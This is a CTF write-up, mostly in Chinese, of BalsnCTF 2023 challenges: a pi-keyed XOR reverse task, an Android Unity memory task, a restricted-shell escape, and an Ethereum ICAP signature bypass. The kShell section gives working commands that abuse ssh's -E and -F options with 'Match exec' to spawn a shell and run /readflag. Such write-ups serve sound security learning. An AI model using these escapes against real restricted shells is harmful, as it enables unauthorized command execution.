# BalsnCTF 2023 ## Reverse ### Lucky #### Source code :::spoiler IDA Main Function ```cpp= __int64 main_fn() { __int64 idx; // r15 int v1; // ebp __int64 v2; // rbx unsigned __int64 v3; // r14 int v4; // r9d int v5; // r9d char v6; // al __int64 v7; // rdx unsigned int v9; // [rsp+Ch] [rbp-9Ch] BYREF char v10[32]; // [rsp+10h] [rbp-98h] BYREF __int128 user_input[2]; // [rsp+30h] [rbp-78h] BYREF __int64 v12; // [rsp+50h] [rbp-58h] char v13; // [rsp+58h] [rbp-50h] unsigned __int64 v14; // [rsp+68h] [rbp-40h] idx = 10000000000000000LL; v1 = 0; v14 = __readfsqword(0x28u); v2 = sub_40C2B0("/dev/urandom", &unk_498004); do { sub_40C3B0(&v9, 4uLL, 1LL, v2); v3 = v9 % 100000000uLL; sub_40C3B0(&v9, 4uLL, 1LL, v2); v1 -= (v3 * v3 + v9 % 100000000uLL * (v9 % 100000000uLL) > 9999999999999999LL) - 1; --idx; } while ( idx ); sub_44A050(v10, 1u, 30LL, "%lu", 4 * v1 - 0x4F430000, v4); v13 = 0; v6 = 0x73; v12 = 0LL; memset(user_input, 0, sizeof(user_input)); while ( 1 ) { v7 = idx & 0xF; *(user_input + idx++) = v10[v7] ^ v6; if ( idx == 40 ) break; v6 = byte_498040[idx]; } if ( LOBYTE(user_input[0]) == 'B' && *(user_input + 1) == 'NSLA' && BYTE5(user_input[0]) == '{' && HIBYTE(v12) == '}' ) sub_44A130(1, "Lucky! flag is %s\n", user_input, byte_498040, user_input, v5); else (sub_40C4B0)("Not so lucky ...", 1LL, v7, byte_498040, user_input); if ( v14 != __readfsqword(0x28u) ) (sub_44A220)(); return 0LL; } ``` ::: #### Recon 這是水題,基本上先用ida逆一下,就會看到上面的main function,不過用動態去看很醜,而且要等很久,估計應該是為了拖時間,反正最關鍵的部分在#36~#43這個while loop,還好這一題沒有把關鍵的code藏在tls這種奇怪的地方,或是像[crectf - ez rev](https://hackmd.io/@SBK6401/BJ4WpKb93)那樣用shell code噁心人,每次看到這種一大堆sub_function心裡都會倒抽一口氣,還好這次出題的人有良心(?),反正仔細看一下#44驗證的部分就會知道前面6個bytes是`BALSN{`,所以代表它只是針對ciphertext做XOR的操作,也就是和v10這個變數,但是v10是從前面來的,也就是要先跳過那超級長的loop才能得知v10存了啥東西,原本到這邊就卡住了,一直用想說可不可以用動態直接dump解密完的結果,但我發現compiler應該有做一些scramble之類的操作讓動態很難看,反正過程就是一整個超卡,後來經過學長提示才想到可以用推的算回去,太久沒有寫reverse題就是這樣,基操的忘記了,反正可以先看一下XOR後的結果和原本的CT做比較,會發現output是`141592`的字串,看上去很眼熟應該就是圓周率,又觀察#38,它是取index mod 16後的結果,所以只需要取$\pi$的前16個字元,再往後面繼續操作就可以了 ```python= ct = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08, 0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03, 0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13, 0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00] pt = [0x42, 0x41, 0x4c, 0x53, 0x4E, 0x7B] for i in range(len(pt)): print(chr(pt[i] ^ ct[i]), end="") # $ python exp.py # 141592 ``` #### Exploit ```python ct = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08, 0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03, 0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13, 0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00] key = "1415926535897932" pt = "" for i in range(40): pt += chr(ct[i] ^ ord(key[i % 16])) print(pt) ``` Flag: `BALSN{lUcK_1s_s0oO0O_1mP0r74nt_iN_c7F!#}` #### Reference [BalsnCTF Reverse - lucky WP - maple](https://blog.maple3142.net/2023/10/09/balsn-ctf-2023-writeups/#lucky) ### merger2077 #### Background [SDK 和 NDK 差別](https://cg2010studio.com/2022/05/29/sdk-%E5%92%8C-ndk-%E5%B7%AE%E5%88%A5/) [Android:清晰講解JNI 與 NDK(含實例教學)](https://kknews.cc/zh-tw/code/m9ey9b9.html) [Android Studio - dumpsys](https://developer.android.com/tools/dumpsys?hl=zh-tw) [adb shell dumpsys meminfo詳解](https://www.cnblogs.com/helloTerry1987/p/13109971.html) #### Source code [merger2077 - source code](https://github.com/asef18766/balsn-ctf-2023-merger-2077) #### Recon 這一題沒解出來,但賽後有跟asef聊一下看怎麼解,他說這一題難度是中上,算是要對android debugging和unity很熟才會比較有想法,一開始我看到題目敘述提到flag藏在memory中,所以直覺是想說可以直接用adb把memory dump出來,然後再來分析一下整體的資訊,但貌似adb只能dump一些系統性的資訊,例如目前process的使用情況之類的,我還有嘗試把smali decompiler回java(jadx真的很香),但source code也沒啥東西,嘗試很久也只能放棄 :::spoiler 嘗試過的過程以及一些好想有用的資訊 ```bash $ adb -s emulator-5554 shell ps | findstr balsn USER PID PPID VSZ RSS WCHAN ADDR S NAME u0_a182 6725 354 36079108 205032 0 0 S com.DefaultCompany.balsnctf2023 $ adb -s emulator-5554 shell emu64xa:/ $ su emu64xa:/ # cat /proc/6725/maps | grep balsn ... 764366600000-764366984000 rw-p 00000000 fe:27 106552 /storage/emulated/0/Android/data/com.DefaultCompany.balsnctf2023/files/il2cpp/Metadata/ばかみたい ... emu64xa:/ # exit emu64xa:/ $ exit $ adb -s emulator-5554 pull /storage/emulated/0/Android/data/com.DefaultCompany.balsnctf2023/files/il2cpp/Metadata/ .\ ``` 看起來ばかみたい就是一個很可疑的東西,搞不好其實沒啥用處 ::: 根據asef的說法,在設計unity遊戲的時候,通常會把一些資訊(metadata)放在記憶體中,不是特有的exploit,是主要的設計機制就是這樣,而且通常還沒加密,因為有一些遊戲的global variable會需要access,理所當然的我們可以直接去記憶體中撈這一些東西leak一些資訊,更多的說明可以看[^asef-ppt] asef: > 可以查il2cpp或是global-metadata.dat這幾個東西,也可以去讀讀il2cpp的source code應該頗有幫助 #### Reference [^asef-ppt]:[asef PPT](https://hackmd.io/@asef18766/H19LRNSXh#/) ## Misc ### kshell:five: #### Background * [[小抄] Docker 基本命令](https://yingclin.github.io/2018/docker-basic.html) * 如果想要reproduce該題目的話,可以直接下(記得先打開docker desktop): ```bash $ docker run --rm -it $(docker build -q .) /bin/sh ``` `docker build -q .`是指利用當前目錄的Dockerfile建一個instance,而Dockerfile是based on alpine這個Image,詳細可以看一下這一篇文章[^docker-alpine],然後針對alpine linux作一些檔案搬運和權限控管,最後會運行`/start.sh`這個檔案,BTW,-q參數的意義是會把當前已經build好的instance的ID print出來,剛好可以丟給docker run當作instance id用。 當我們build完之後就要run他,並且可以跟我們進行shell的互動(-it)參數的意義,然後開/bin/sh給我們用 :::danger 不可以使用/bin/bash,因為alpine只有支援sh這個shell,否則會出現一些error,詳細可以看這一篇[^docker-bug-solution] ::: --- 成功後的結果如下,接著只要運行`/kShell.py`就可以像比賽中直接開一個kshell instance一樣了 ```bash $ docker run -it --rm $(docker build -q .) /bin/sh /home/kShell # ls /home/kShell # python3 /kShell.py Welcome to _ ___ _ _ _ | |__/ __|| |_ ___ | || | | / /\__ \| ' \ / -_)| || | |_\_\|___/|_||_|\___||_||_| kshell~$ ``` * 為甚麼不直接執行`kShell-wrapper.py`? 一開始的確是想要直接運行`kShell-wrapper.py`想說可以更模擬比賽的環境與狀況,不過中間遇到太多error導致一直都不順利,我想應該還是跟我的主機環境有關係,所以我就直接用docker開instance,就不要用wrapper開,反正效果差不了多少 * [Linux Manual Page](https://man7.org/linux/man-pages/man1/ssh.1.html) > `-E`: 後面應該要帶一個log file,它會把stderr送到這個log file,而非印出來 > `-F`: 後面應該要帶一個config file,讓ssh可以吃 * [Linux 裡的文件描述符 0,1,2, 2>&1 究竟是什麽](https://blog.csdn.net/yzf279533105/article/details/128587714)或是[[學習筆記] Linux Command 「2>&1」 輕鬆談](https://mks.tw/2928/%E5%AD%B8%E7%BF%92%E7%AD%86%E8%A8%98-linux-command-%E3%80%8C21%E3%80%8D-%E8%BC%95%E9%AC%86%E8%AB%87)都講得非常清楚 #### Source code [kShell - Source Code](https://github.com/w181496/My-CTF-Challenges/tree/master/Balsn-CTF-2023/kShell) #### Recon 這一題也是賽後解,當初看到是shell escape的題目是有想到[VimJail](https://ctftime.org/writeup/5784)或是[PicoCTF2023 Special](https://hackmd.io/@SBK6401/rkISwiMoi/%2F%40UHzVfhAITliOM3mFSo6mfA%2FH1cd5TgAs)的思路,但是完全沒有進展,無奈之下只能放棄,但放棄之前也有一些資訊: * 他只開放幾個command可以使用,包含 ```bash kshell~$ help Available commands: help exit id ping traceroute ssh arp netstat pwd ``` * 當有error出現的時候會有`Meow! An error occurred!`的字樣出現,一開始會以為有甚麼樣的作用,但結果完全沒用,顆顆 * 基本上這一題也是看itiscaleb才知道怎麼解[^kshell-wp] #### Exploit 兩種解法都很相似,但我只知道大概,都是利用ssh -F接一個config file,然後用Match exec達到RCE,但Match exec是啥鬼啊,找了很多資料都沒有這東西應該說exec會去執行後面帶的command然後跳出目前的shell,啊Match呢????? :::info 23/10/16更新: Match是ssh config裡面的一個語法,底下也已經有更完整的想法 ::: * 解法一 ```bash /home/kShell # python3 /kShell.py Welcome to _ ___ _ _ _ | |__/ __|| |_ ___ | || | | / /\__ \| ' \ / -_)| || | |_\_\|___/|_||_|\___||_||_| kshell~$ ssh -E 'Match exec "sh 0<&2 1>&2" #aaa' x kshell~$ ssh -F 'Match exec "sh 0<&2 1>&2" #aaa' -E aaa x kshell~$ ssh -F aaa x /home/kShell # /readflag BALSN{h0w_d1d_u_g3t_RCE_on_my_kSSHell??} # Special thanks to Orange's oShell challenge! ``` 提供以上解法的是DC裡面的一個`@lebrOnli`大大 1. 它的意思是先利用`ssh -E`創造一個log file,名稱叫做`Match exec "sh 0<&2 1>&2" #aaa`,而後面的`x`就當作一般連線的host name,但反正一定是錯的 ```bash $ ssh -E 'Match exec "sh 0<&2 1>&2" #aaa' x $ ll -rwxrwxrwx 1 sbk6401 sbk6401 62 Oct 16 00:01 'Match exec "sh 0<&2 1>&2" #aaa' $ cat Match\ exec\ \"sh\ 0\<\&2\ 1\>\&2\"\ \#aaa ssh: Could not resolve hostname x: Name or service not known ``` 2. 再利用這個log file當作config file丟給`ssh -F`,當然它會噴錯,因為裡面根本不是一般的config info ```bash $ ssh -F 'Match exec "sh 0<&2 1>&2" #aaa' -E aaa x $ cat aaa Match exec "sh 0<&2 1>&2" #aaa: line 1: Bad configuration option: ssh: Match exec "sh 0<&2 1>&2" #aaa: terminating, 1 bad configuration options ``` 此時可以看到檔案`aaa`的內容已經因為log append變成Match exec "sh 0<&2 1>&2",而#字號後面就當作一般的comment 3. 此時我們已經構建好config file了,則我們可以把aaa當作conig丟給ssh -F,它就會去執行裡面的內容,而實際上真正讓我們escape是因為exec,它會執行後面的東西完了以後就跳出目前的shell,然後就可以執行/readflag * 解法二 ```bash kshell~$ ssh localhost -F /proc/self/fd/1 Match exec "/readflag>&2" BALSN{h0w_d1d_u_g3t_RCE_on_my_kSSHell??} # Special thanks to Orange's oShell challenge! ``` 這個解法更省力,誠如作者所說,如果config file是一個fd呢?它就會直接讓我們輸入東西當成它的configuration,所以只要下跟上面一樣的command就會跳出來,不過@itiscaleb是直接執行然後印出來,不知道這樣的操作為啥會成功,如果是我的話會直接用`Match exec "sh 0<&2 1>&2`跳出來再執行/readflag Flag: `BALSN{h0w_d1d_u_g3t_RCE_on_my_kSSHell??}` #### Reference [^docker-bug-solution]:[Docker報錯OCI runtime exec failed: exec failed: unable to start container process: exec: "/bin/bash"解決](https://blog.csdn.net/qq_35764295/article/details/126379879) [^docker-alpine]:[Alpine Linux 挑戰最小 docker image OS](https://blog.wu-boy.com/2015/12/a-super-small-docker-image-based-on-alpine-linux/) [^kshell-wp]:[BalsnCTF 2023 kShell WP](https://itiscaleb.com/2023/10/Balsn-CTF-2023/) ### Web3:four: #### Background * [ethereumbook 第五章 密要、地址](https://cypherpunks-core.github.io/ethereumbook_zh/05.html) > 互換客戶端地址協議(ICAP)是一種部分與國際銀行帳號(IBAN)編碼兼容的以太坊地址編碼,為以太坊地址提供多功能,校驗和互操作編碼。ICAP地址可以編碼以太坊地址或通過以太坊名稱註冊表註冊的常用名稱。 > >閱讀以太坊Wiki上的ICAP:https://github.com/ethereum/wiki/wiki/ICAP:-Inter-exchange-Client-Address-Protocol > >IBAN是識別銀行帳號的國際標準,主要用於電匯。它在歐洲單一歐元支付區(SEPA)及其以後被廣泛採用。IBAN是一項集中和嚴格監管的服務。ICAP是以太坊地址的分散但兼容的實現。 > >一個IBAN由含國家程式碼,校驗和和銀行帳戶識別碼(特定國家)的34個字母數字字符(不區分大小寫)組成。 > >ICAP使用相同的結構,通過引入代表“Ethereum”的非標準國家程式碼“XE”,後面跟著兩個字符的校驗和以及3個可能的帳戶識別碼變體 * [ethers.js 工具包 - getaddress](https://learnblockchain.cn/docs/ethers.js/api-utils.html?highlight=getaddress#id14) > ```javascript > let address = "0xd115bffabbdd893a6f7cea402e7338643ced44a6"; > let icapAddress = "XE93OF8SR0OWI6F4FO88KWO4UNNGG1FEBHI"; > >console.log(utils.getAddress(address)); >// "0xD115BFFAbbdd893A6f7ceA402e7338643Ced44a6" > >console.log(utils.getAddress(icapAddress)); >// "0xD115BFFAbbdd893A6f7ceA402e7338643Ced44a6" > >console.log(utils.getAddress(address, true)); >// "XE93OF8SR0OWI6F4FO88KWO4UNNGG1FEBHI" > >console.log(utils.getAddress(icapAddress, true)); >// "XE93OF8SR0OWI6F4FO88KWO4UNNGG1FEBHI" >``` * [Wallet Signer工具包](https://learnblockchain.cn/docs/ethers.js/api-wallet.html#signer) * [ethers.js 工具包 - verifyMessage](https://learnblockchain.cn/docs/ethers.js/api-utils.html?highlight=verifymessage#id18) > ```javascript > let signature = "0xddd0a7290af9526056b4e35a077b9a11b513aa0028ec6c9880948544508f3c63265e99e47ad31bb2cab9646c504576b3abc6939a1710afc08cbf3034d73214b81c"; > >let signingAddress = Wallet.verifyMessage('hello world', signature); > >console.log(signingAddress); >// "0x14791697260E4c9A71f18484C9f997B308e59325" >``` #### Source code :::spoiler server.js ```javascript= const express = require("express"); const ethers = require("ethers"); const path = require("path"); const app = express(); app.use(express.urlencoded()); app.use(express.json()); app.get("/", function(_req, res) { res.sendFile(path.join(__dirname + "/server.js")); }); function isValidData(data) { if (/^0x[0-9a-fA-F]+$/.test(data)) { return true; } return false; } app.post("/exploit", async function(req, res) { try { const message = req.body.message; const signature = req.body.signature; if (!isValidData(signature) || isValidData(message)) { res.send("wrong data"); return; } const signerAddr = ethers.utils.verifyMessage(message, signature); if (signerAddr === ethers.utils.getAddress(message)) { const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin"; res.send(FLAG); return; } } catch (e) { console.error(e); res.send("error"); return; } res.send("wrong"); return; }); const port = process.env.PORT || 3000; app.listen(port); console.log(`Server listening on port ${port}`); ``` ::: #### Recon 這一題是賽後解,因為太難了所以沒解出來,不過還是非常有趣的題目 1. Recon 仔細觀察soure code會發現,先用post到/exploit的route,然後帶message和signature的data,兩者都會受到檢查,也就是要符合signature=0xabcd...,而message就是一般的字元,所以看到#30~#31就會知道,這一題難的地方在於要想辦法找到一個message,他簽名後的錢包地址要和message本身一模一樣才會過條件拿到flag,也就是message也要是一個地址才行,但卻不能是0x開頭 2. 根據[^balsnctf-2023-web3-wp-maple]和[^ethers.js-tool-getAddress-example]的範例就會知道乙太錢包的地址有支援ICAP格式,簡單來說就是另外一種表示方式,一般錢包地址的表示都是採用hex的形式表示,但ICAP是以XE字節開頭表示地址,如下範例所示: ```javascript const ethers = require("ethers") const wallet = ethers.Wallet.createRandom() console.log(ethers.utils.getAddress(wallet.address)) console.log(ethers.utils.getIcapAddress(wallet.address)) # 0x7165ac4B3cb187CC37278919254db9e0867F1f26 # XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM ``` 3. 所以我們可以想如果直接拿地址的變形,也就是ICAP的地址當作我們的message,則簽名後得到的signAddress也一樣會是原本的錢包地址,而丟到getAddress的message因為本身就是地址,所以return的字串也會是一般以hex表示的錢包地址 ##### 原本的想法(一點都不重要) 直接暴力搜message簽完名後和message一樣 :::spoiler 爛扣 ```javascript const ethers = require("ethers"); const generateRandomString = (num) => { let result1= Math.random().toString(36).substring(2,) + Math.random().toString(36).substring(2,) + Math.random().toString(36).substring(2,) + Math.random().toString(36).substring(2,); console.log(result1.substring(0, num)); return result1.substring(0, num); } async function signAndVerify() { let privateKey = "0x3141592653589793238462643383279502884197169399375105820974944592"; let wallet = new ethers.Wallet(privateKey); try{ while(true){ message = generateRandomString(40); const signature = await wallet.signMessage(message); console.log(signature); console.log(ethers.utils.verifyMessage(message, signature)); console.log('0x' + message); if (ethers.utils.verifyMessage(message, signature) === '0x' + message){ console.log("Got it\nThe mssage is: ", message); break; } console.log("Nothing Yet"); } } catch (error){ console.log("Errror"); } } signAndVerify(); ``` ::: #### Exploit ```javascript const ethers = require("ethers") const wallet = ethers.Wallet.createRandom() console.log(ethers.utils.getAddress(wallet.address)) const icapAddress = ethers.utils.getIcapAddress(wallet.address) console.log(icapAddress) const message = icapAddress const signature = wallet.signMessage(message) console.log(message, signature) ``` ```bash $ node exp.js 0x7165ac4B3cb187CC37278919254db9e0867F1f26 XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM Promise { '0xf624460a7d73a36edbaf09435856181081e64b82ad0098b70600f55a5d0b24344757ac17f7451df142279abeea25af3dae8d128af5ff48ce5226ac7fc2f591aa1b' } $ node server.js # 自己開service $ curl -X POST localhost:3000/exploit --data 'message=XE68D8UVUZEGBBSCAHT3O1HW4VN63MD31GM&signature=0xf624460a7d73a36edbaf09435856181081e64b82ad0098b70600f55a5d0b24344757ac17f7451df142279abeea25af3dae8d128af5ff48ce5226ac7fc2f591aa1b' get flag but something wrong, please contact admin% ``` 因為是賽後解,所以就自己開service,但最後的結果確定可以拿到flag Flag: `BALSN{Inter_Exchange_Client_Address_Protocol}` #### Reference [^balsnctf-2023-web3-wp-maple]:[BalsnCTF 2023 - Web3 WP - maple](https://blog.maple3142.net/2023/10/09/balsn-ctf-2023-writeups/#web3) [^ethers.js-tool-getAddress-example]:[ethers.js 工具包 - getaddress](https://learnblockchain.cn/docs/ethers.js/api-utils.html?highlight=getaddress#id14) ## Crypto ### Prime ## Web ### 0fa